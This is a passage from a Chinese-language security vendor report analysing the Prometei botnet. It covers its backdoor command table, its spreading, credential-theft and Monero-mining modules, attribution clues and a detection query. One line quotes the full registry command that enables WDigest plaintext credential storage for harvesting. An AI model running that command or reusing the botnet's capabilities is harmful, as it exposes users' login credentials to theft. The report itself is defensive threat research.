set_cc0 |
設定 CC 伺服器。 |
set_autoexec2 |
設定自動執行。 |
set_autoexec1 |
設定自動執行。 |
set_timeout |
設定連線至 CC 伺服器的逾時時間。 |
start_mining |
啟動 SearchIndexer.exe。 |
start_mining1 |
啟動 SearchIndexer.exe。 |
stop_mining |
終止 SearchIndexer.exe。 |
quit |
終止殭屍網路程式。 |
quit2 |
終止殭屍網路程式。 |
sysinfo |
蒐集有關電腦的資訊。 |
call |
執行一個程式或檔案。 |
wget |
下載一個檔案。 |
xwget |
下載一個檔案、儲存檔案,並使用 XOR 來將檔案解密。 |
exec |
執行一個指令。 |
update |
更新殭屍網路程式版本。 |
touch |
開啟一個檔案。 |
chkport |
檢查某個連接埠是否開啟。 |
extip |
傳回殭屍網路程式的外部 IP 位址。 |
search |
依名稱搜尋檔案。 |
fchk |
檢查某個檔案是否被某個處理程序鎖住,以及檔案的擁有者。 |
fdir |
取得當前的目錄。 |
表 1:樣本中的後門指令。
- 竊取資訊
- 此樣本會執行偵查指令來蒐集有關系統與主機板的詳細資訊。
- 由於殭屍網路程式的後門程式指令用途廣泛,因此能夠蒐集各種資訊。
rdpclIp.exe\winhlpx64.exe
- 殭屍網路的主要擴散模組。
- 由主要的殭屍網路程式 sqhost.exe 執行。
- 執行以下指令:「"C:\Windows\System32\cmd.exe" /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1」來啟用密碼竊取模組以搜刮登入憑證。
miwalk.exe
- 殭屍網路的客製化 Mimikatz 模組。
- 由 rdpclIp.exe 所執行。它會與它的父處理程序配合運作,竊取可用於橫向移動的登入憑證。
- 蒐集到的登入憑證會儲存在「C:\Windows\dell\slldata2.dll」當中。
windrlver.exe
- 殭屍網路的 SSH 擴散模組。
- 由 rdpclIp.exe 所執行。
- 執行時,rdclIp.exe 會判斷該指定哪些正確參數。
SearchIndexer.exe
- 殭屍網路的挖礦惡意程式。
- 使用 XMRig 6.18.0 版。
- 當殭屍網路程式收到「start_mining」或「start_mining1」指令時,就會使用sqhost.exe 來加以執行。
追查駭客集團
基本上,我們目前仍追查不到 Prometei 背後的駭客集團,但有證據顯示他們是講俄羅斯語的人。「Prometei」這個名字源自 Prometheus (普羅米修斯) 的俄文翻譯,象徵著一種文化連結。
此惡意程式在 2016 年的舊版本當中還殘留著俄羅斯文的語言設定,例如:主要的殭屍網路程式模組中含有未經編輯的「產品名稱」以及一個代表俄羅斯文的語言代碼。
此外,Prometei 似乎也不會感染使用俄羅斯文的使用者,如同其某些模組的行為一樣。其中一個值得注意的特點是與 Tor 用戶端的整合,這有助於和 Tor CC 伺服器通訊,並且避開前蘇聯的某些出口節點。此外,還有另一個元件:「nvsync.exe」會檢查是否有竊取到的登入憑證,並刻意避免攻擊名為俄羅斯文「來賓」和「其他使用者」的帳戶,因此進一步證明他們是瞄準了某些特定目標。
結論
我們對 Prometei 攻擊的調查,揭露了該殭屍網路的複雜性以及它常駐在受駭環境中的能力。Prometei 會利用 WMI 並搭配橫向移動技巧迅速經由 SMB 和 RDP 漏洞擴散。其中,sqhost.exe 和 miwalk.exe 等幾個重要元件能協助他們蒐集登入憑證,並與幕後操縱伺服器連線。此外,經過編碼的惡意檔案、Base64 編碼的 PowerShell 指令,以及防火牆設定的修改,都突顯出駭客如何努力躲避偵測及常駐於系統內。
我們在調查過程當中借助了 MXDR 服務的力量來強化即時監控與事件交叉關聯,並提升我們在攻擊初期就偵測及回應惡意活動的能力。結合事件回應、威脅情報以及 MXDR 服務,我們就能徹底了解 Prometei 殭屍網路以及它對受駭網路的潛在衝擊。這份調查突顯出主動偵測及回應的重要性,並示範了適當的解決方案與情報 (就像 Trend Vision One 所提供的) 如何縮短駭客滯留時間並防範進階威脅。
Trend Vision One 威脅情報
要隨時掌握持續演變的威脅,趨勢科技客戶可從 Trend Micro Vision One 內部取得各種情報與威脅洞見。Threat Insights 可幫助客戶在威脅發生之前便提前掌握,並對新興的威脅預先做好準備。這些洞見提供了有關駭客、惡意活動及駭客技巧的完整資訊。善用這些情報,客戶就能主動採取步驟來保護自己的環境、防範風險,並且有效回應威脅。
Trend Vision One Intelligence Reports 應用程式 [IoC 掃描]
揭開 Prometei 的面紗:深入探討我們 MXDR 團隊的研究發現
Trend Vision One Threat Insights 應用程式
新興威脅:揭開 Prometei 的面紗:深入探討我們 MXDR 團隊的研究發現
追蹤查詢
Trend Vision One 應用程式
Trend Vision One 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
偵測 PROMETEI 惡意程式
malName:* PROMETEI* AND eventName:MALWARE_DETECTION
除此之外,Vision One 客戶還可啟用 Threat Insights 權利來取得更多追蹤查詢。
入侵指標
如需完整的入侵指標 (IoC) 清單,請至此處。